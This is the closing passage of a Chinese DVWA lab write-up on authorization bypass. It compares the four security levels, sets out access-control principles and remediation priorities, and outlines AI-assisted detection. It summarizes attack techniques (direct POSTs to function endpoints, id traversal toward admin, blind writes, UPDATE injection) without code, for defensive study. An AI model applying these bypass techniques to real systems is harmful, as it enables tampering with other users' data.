    │  ❌ 无任何检查          │  ✅ 入口检查            │  ✅ 入口检查
    │  ❌ 三通路全裸奔        │  ❌ 功能文件仍暴露      │  ⚠️ 读已封,写仍敞开
    │                        │                         │
    ▼                        ▼                         ▼
  "无防护"阶段           "入口防护"阶段            "半修复"阶段
  攻击成本:极低          攻击成本:低              攻击成本:低(盲写)

                              Impossible 级别
                              ┌─────────────────────────────────┐
                              │  ✅ 主页面入口检查              │
                        ──►  │  ✅ 读通道独立检查              │
                              │  ✅ 写通道独立检查              │
                              └─────────────────────────────────┘
                                             │
                                             ▼
                                      "功能级授权"阶段
                                       攻击成本:无路可走

4、授权控制的核心原则

原则 说明 实现级别
拒绝默认 未明确授权即拒绝,而非未明确禁止即放行 Impossible
功能级检查 每个功能文件/端点独立验证权限,入口检查只是体验优化 Impossible
检查覆盖所有通路 读、写、删、导出......每个动词都要覆盖(HIGH 的教训) Impossible
正确的拒绝语义 页面用 403,API 用结构化错误,不用 200 塞错误文案 Impossible
不依赖隐匿 菜单隐藏、URL 复杂化都不是访问控制 全部级别的教训
权限回归基线 把"谁能在哪干什么"固化成矩阵,变更后自动回归 Impossible(AI 增强)

七、总结

1、漏洞全景回顾

层级 LOW MEDIUM HIGH Impossible
入口检查 🔴 无 🟢 有 🟢 有 🟢 有
读通道 🔴 裸奔 🔴 裸奔 🟢 已封 🟢 已封
写通道 🔴 裸奔 🔴 裸奔 🔴 裸奔 🟢 已封
主要风险 机密性+完整性 机密性+完整性 完整性(盲写)
修复完备度 🔴 0/3 🟠 1/3 🟠 2/3 🟢 3/3

2、核心防御建议优先级

复制代码
高优先级(必须修复)
    │
    ├── ① 在 change_user_details.php 补上与 get_user_data.php 同级的
    │     身份检查【HIGH→IMP 的最后一步】
    ├── ② 检查与功能绑定:授权逻辑内联到每个端点,而不是依赖入口
    └── ③ 对 UPDATE 语句改用参数化查询,顺带消除 SQL 注入

中优先级(强烈建议)
    │
    ├── ④ 统一授权中间件/门面,避免"每个文件各写各的 if"
    ├── ⑤ 建立"角色 × 端点"权限矩阵文档,与代码同步演进
    └── ⑥ 对敏感变更(任意用户资料修改)落变更审计日志

低优先级(可选优化)
    │
    ├── ⑦ 授权回归基线纳入 CI(守卫矩阵自动重放)
    ├── ⑧ 行为遥测:读拒绝后紧跟写请求的时序告警
    └── ⑨ 定期双账号差分巡检(自动化渗透自测)

3、关键启发

  • 入口检查不是访问控制:MEDIUM 的 403 做得很标准,但功能文件一个都没保护------"门"防不住"窗"
  • 修复要按通路验收:HIGH 封了读没封写,攻击面从机密性转移到完整性,严重程度并未降低
  • 盲写是最容易被忽视的危害:看不见≠改不动,完整性破坏往往没有"告警瞬间"
  • 验证需要证据链思维result=ok 只是中间证据,落库读回才算闭环;攻击者会话内无法闭环时,必须引入第二证据源
  • 满分答案的结构是"检查跟着功能走":Impossible 的三处检查分散在三个文件里,却构成了结构上无法绕过的防线

八、AI增强防御建议

1、智能授权检测

传统方案 AI 增强方案
页面级爬虫 + 登录墙检测 前端行为分析自动发现 API 端点(本文 2.6 的 JS 请求发射点分析)
人工编写越权测试用例 双角色差分矩阵自动生成与重放(本文 recon 脚本的双 PHASE 设计)
单请求特征判断 请求序列 + 授权上下文联合判断("先撞墙再敲门"的时序告警)

实现思路:

  • 以"角色 × 端点 × 动作(读/写)"三元组建模授权面,把散落的检查点收敛为一张可查询的矩阵
  • 对每个三元组维持一个"期望行为"(来自需求文档或 Impossible 式正样本),线上差分即告警
  • 把一次失败的授权探测(Access denied / Invalid format)都当作信息源,自动修正探测策略

2、基于行为的越权检测

特征维度 正常行为 授权绕过攻击
访问路径 经主页面进入功能 直接 POST 功能端点
端点覆盖 只操作自己的记录 id 遍历/指向他人(尤其 admin 的 id=1)
读写时序 读改写自己的数据 读被拒后立即发起写(盲写特征)
变更内容 小幅、合理 批量、模式化(如全表统一后缀)

实现思路:

  • 构建用户级访问基线(常用端点、常用 id 集合),对"从不访问的 id 突然出现写请求"打分
  • 将授权拒绝事件与后续请求做时序关联,识别"探测-绕过"组合行为
  • 对敏感表(users)建立变更快照,批量异常变更自动回溯触发会话

3、AI 防御架构图

复制代码
┌─────────────────────────────────────────────────────────────────────────┐
│                     授权控制 AI 增强防御架构                            │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                          │
│  ┌─────────────┐    ┌──────────────────┐    ┌─────────────┐            │
│  │  建模层      │───▶│     检测层        │───▶│   响应层     │            │
│  │ 角色×端点矩阵│    │  差分探测        │    │  实时拦截    │            │
│  │ JS端点发现   │    │  时序关联        │    │  变更回滚    │            │
│  │ 期望行为基线 │    │  完整性快照      │    │  告警归因    │            │
│  └─────────────┘    └──────────────────┘    └─────────────┘            │
│                                                                          │
│  ┌──────────────────────────────────────────────────────────┐          │
│  │  回归层:守卫矩阵基线(Impossible 六项断言)纳入 CI       │          │
│  └──────────────────────────────────────────────────────────┘          │
└─────────────────────────────────────────────────────────────────────────┘

4、实施优先级建议

优先级 措施 实施难度 防御效果
功能文件独立授权检查 高(直接消灭 LOW/MEDIUM/HIGH 三级漏洞)
统一授权中间件 高(结构性防止"漏一个文件")
角色×端点矩阵文档与 CI 回归 高(防回归)
盲写行为时序告警
全量变更快照审计

5、本文的 AI 自动化实践

本文不是"谈理念",而是真的跑了三层自动化(随附脚本均可复现):

脚本 角色 自动化能力
recon_authbypass.py 攻击面侦察 双账号 × 4 级别 × 3 通路全量矩阵探测,自动落盘证据
recon2/recon3/recon4 深度验证 请求格式反推(Invalid format → JSON POST)、落库核验、盲写交叉验证、现场还原
poc_authbypass_{low,medium,high}.py + verify_impossible.py 结论输出 环境预检 → 利用/断言 → 核验 → 还原,全流程无人值守

这套流水线在本次实测中抓到了三处原教程未覆盖的事实(HIGH 读封写敞、Impossible 三通路全拦、UPDATE 注入),也踩出了两个方法论坑(JSON 请求体、盲写无法自证)------AI 自动化检测的价值不只是"跑得快",更在于用一致的证据标准把"想当然"全部换掉

免责声明:本文所述内容仅供安全研究与学习交流使用,所有测试均在本地授权靶场(DVWA)环境中进行。未经授权,严禁将文中技术用于任何非法目的。

📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 16 篇文章。

如果你在阅读过程中有任何疑问,欢迎在评论区留言交流。😊

相关推荐
AI老陈说3 小时前
Nano Banana 2 AI 角色一致性怎么保持?Flux Art 同一角色换动作与版本管理
ai·ai工具·ai生图
技术小事4 小时前
AI挖出6个curl漏洞 但另外23份是噪音
人工智能·网络安全·漏洞挖掘·cve·curl·ai安全
三声三视6 小时前
审计清单函数名写成 def?tri-checklist 的 diff 解析在 Python 改名场景下悄悄翻车
人工智能·ai·skillhub·tri-checklist·tri-skills
VIP_CQCRE7 小时前
用 Ace Data Cloud 接入 Kling Motion:让 AI 视频生成从“好看”走向“可控”
ai·api·视频生成·kling·acedatacloud
打破砂锅问到底0077 小时前
115 行把 Qwen3-8B 跑进浏览器:WebLLM 本地推理实战
人工智能·ai·llm
TechEdu2026069 小时前
[人工智能]AI芯片家族:英伟达、AMD、英特尔、高通与华为
人工智能·ai
尘中远12 小时前
给C++工业软件搭建 Agent
开发语言·c++·qt·ai·agent
tachibana212 小时前
复杂的 RAG 范式
数据库·人工智能·ai·大模型·agent
RobinDevNotes12 小时前
RoCEv2如何扛起大模型训练网络
linux·网络·ai·网络linux